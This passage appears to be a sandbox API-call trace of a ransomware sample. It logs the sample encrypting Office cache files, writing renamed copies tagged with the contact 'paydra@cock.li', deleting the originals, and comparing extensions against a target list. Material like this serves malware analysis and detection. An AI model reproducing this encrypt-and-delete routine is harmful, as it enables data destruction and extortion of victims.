users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.519] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.519] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.519] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0045.519] GetLastError () returned 0x0 [0045.519] ReadFile (in: hFile=0x19c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0045.540] WriteFile (in: hFile=0x188, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0045.833] ReadFile (in: hFile=0x19c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.833] WriteFile (in: hFile=0x188, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x104, lpOverlapped=0x0) returned 1 [0045.834] SetEndOfFile (hFile=0x188) returned 1 [0045.834] CloseHandle (hObject=0x188) returned 1 [0045.834] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.834] SetEndOfFile (hFile=0x19c) returned 1 [0045.839] CloseHandle (hObject=0x19c) returned 1 [0045.839] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.840] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0045.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.840] lstrlenW (lpString=".doc") returned 4 [0045.840] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString=".docx") returned 5 [0045.840] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0045.840] lstrlenW (lpString=".pdf") returned 4 [0045.840] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString=".xls") returned 4 [0045.840] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString=".xlsx") returned 5 [0045.840] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0045.840] lstrlenW (lpString=".ppt") returned 4 [0045.840] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.840] lstrlenW (lpString=".zip") returned 4 [0045.840] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString=".rar") returned 4 [0045.840] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString=".bz2") returned 4 [0045.840] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0045.840] lstrlenW (lpString=".7z") returned 3 [0045.840] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0045.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.841] lstrlenW (lpString=".dbf") returned 4 [0045.841] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.841] lstrlenW (lpString=".1cd") returned 4 [0045.841] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.841] lstrlenW (lpString=".jpg") returned 4 [0045.841] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.841] lstrlenW (lpString=".doc") returned 4 [0045.841] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString=".docx") returned 5 [0045.841] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0045.841] lstrlenW (lpString=".pdf") returned 4 [0045.841] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString=".xls") returned 4 [0045.841] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString=".xlsx") returned 5 [0045.841] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0045.841] lstrlenW (lpString=".ppt") returned 4 [0045.841] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.841] lstrlenW (lpString=".zip") returned 4 [0045.841] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString=".rar") returned 4 [0045.841] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString=".bz2") returned 4 [0045.841] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0045.841] lstrlenW (lpString=".7z") returned 3 [0045.842] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0045.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.842] lstrlenW (lpString=".dbf") returned 4 [0045.842] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0045.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.842] lstrlenW (lpString=".1cd") returned 4 [0045.842] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0045.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0045.842] lstrlenW (lpString=".jpg") returned 4 [0045.842] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0045.842] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0045.842] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0045.842] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.842] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=27532288) returned 1 [0045.842] CloseHandle (hObject=0x19c) returned 1 [0045.842] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0045.842] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.842] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0045.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.843] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.843] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.843] ReadFile (in: hFile=0x19c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.853] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.853] ReadFile (in: hFile=0x19c, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.861] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.861] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.861] ReadFile (in: hFile=0x19c, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.875] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.875] WriteFile (in: hFile=0x19c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0046.075] SetEndOfFile (hFile=0x19c) returned 1 [0046.381] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0046.385] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.385] WriteFile (in: hFile=0x19c, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.386] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.386] WriteFile (in: hFile=0x19c, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.389] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.389] WriteFile (in: hFile=0x19c, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.391] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0046.391] CloseHandle (hObject=0x19c) returned 1 [0046.391] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0046.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.391] lstrlenW (lpString=".doc") returned 4 [0046.391] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.391] lstrlenW (lpString=".docx") returned 5 [0046.391] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.391] lstrlenW (lpString=".pdf") returned 4 [0046.391] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.391] lstrlenW (lpString=".xls") returned 4 [0046.391] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.391] lstrlenW (lpString=".xlsx") returned 5 [0046.391] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.391] lstrlenW (lpString=".ppt") returned 4 [0046.391] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.392] lstrlenW (lpString=".zip") returned 4 [0046.392] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.392] lstrlenW (lpString=".rar") returned 4 [0046.392] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.392] lstrlenW (lpString=".bz2") returned 4 [0046.392] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.392] lstrlenW (lpString=".7z") returned 3 [0046.392] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.392] lstrlenW (lpString=".dbf") returned 4 [0046.392] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.392] lstrlenW (lpString=".1cd") returned 4 [0046.392] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.392] lstrlenW (lpString=".jpg") returned 4 [0046.392] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.392] lstrlenW (lpString=".doc") returned 4 [0046.392] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.392] lstrlenW (lpString=".docx") returned 5 [0046.392] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.392] lstrlenW (lpString=".pdf") returned 4 [0046.392] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.392] lstrlenW (lpString=".xls") returned 4 [0046.392] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.392] lstrlenW (lpString=".xlsx") returned 5 [0046.392] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.392] lstrlenW (lpString=".ppt") returned 4 [0046.393] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.393] lstrlenW (lpString=".zip") returned 4 [0046.393] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.393] lstrlenW (lpString=".rar") returned 4 [0046.393] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.393] lstrlenW (lpString=".bz2") returned 4 [0046.393] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.393] lstrlenW (lpString=".7z") returned 3 [0046.393] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.393] lstrlenW (lpString=".dbf") returned 4 [0046.393] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.393] lstrlenW (lpString=".1cd") returned 4 [0046.393] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0046.393] lstrlenW (lpString=".jpg") returned 4 [0046.393] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.393] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0046.393] lstrlenW (lpString="setup.exe") returned 9 [0046.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.698] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1377656) returned 1 [0046.698] CloseHandle (hObject=0x1a8) returned 1 [0046.698] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0046.698] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.698] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.698] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.698] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.698] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.699] GetLastError () returned 0x0 [0046.699] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.723] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.232] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x50588, lpOverlapped=0x0) returned 1 [0047.243] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0047.251] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.251] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.252] SetEndOfFile (hFile=0x1c8) returned 1 [0047.252] CloseHandle (hObject=0x1c8) returned 1 [0047.252] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.252] SetEndOfFile (hFile=0x1a8) returned 1 [0047.255] CloseHandle (hObject=0x1a8) returned 1 [0047.255] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0047.255] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0047.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.255] lstrlenW (lpString=".doc") returned 4 [0047.255] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.255] lstrlenW (lpString=".docx") returned 5 [0047.256] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0047.256] lstrlenW (lpString=".pdf") returned 4 [0047.256] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.256] lstrlenW (lpString=".xls") returned 4 [0047.256] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.256] lstrlenW (lpString=".xlsx") returned 5 [0047.256] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0047.256] lstrlenW (lpString=".ppt") returned 4 [0047.256] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.256] lstrlenW (lpString=".zip") returned 4 [0047.256] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.256] lstrlenW (lpString=".rar") returned 4 [0047.256] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.256] lstrlenW (lpString=".bz2") returned 4 [0047.256] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.256] lstrlenW (lpString=".7z") returned 3 [0047.256] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.256] lstrlenW (lpString=".dbf") returned 4 [0047.256] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.256] lstrlenW (lpString=".1cd") returned 4 [0047.256] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.256] lstrlenW (lpString=".jpg") returned 4 [0047.256] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.256] lstrlenW (lpString=".doc") returned 4 [0047.256] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.256] lstrlenW (lpString=".docx") returned 5 [0047.256] lstrcmpiW 